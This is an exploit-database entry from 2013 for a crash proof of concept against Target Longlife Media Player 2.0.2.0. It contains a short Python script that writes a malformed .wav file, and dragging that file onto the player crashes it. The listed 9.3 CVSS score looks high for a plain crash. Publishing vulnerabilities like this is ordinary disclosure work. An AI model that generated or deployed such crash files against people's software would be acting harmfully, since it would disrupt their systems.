Target Longlife Media Player Version 2.0.2.0 - (.wav) - Crash POC

vendor:

Longlife Media Player

by:

gunslinger_

9,3

CVSS

HIGH

Crash POC

N/A

CWE

Product Name: Longlife Media Player

Affected Version From: 2.0.2.0

Affected Version To: 2.0.2.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP sp3

2013

Target Longlife Media Player Version 2.0.2.0 – (.wav) – Crash POC

After creating POC file (.wav), and simply drag and drop it to Player.

Mitigation:

N/A

Source

Exploit-DB raw data:

# Exploit Title		: Target Longlife Media Player Version 2.0.2.0 - (.wav) - Crash POC
# Date				: 11-09-2013
# Exploit Author	: gunslinger_ <yuda at cr0security.com> - http://www.cr0security.com
# Software Link		: http://download.cnet.com/Target-Longlife-Media-Player/3000-2139_4-10417975.html
# Version			: 2.0.2.0 (Probably old version of software and the LATEST version too)
# Vendor Homepage	: -
# Tested on			: Windows XP sp3
#============================================================================================
# After creating POC file (.wav), and simply drag and drop it to Player.
#============================================================================================
#!/usr/bin/python
 
string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22")
 
filename = "crash.wav"
file = open(filename , "w")
file.write(string)
file.close()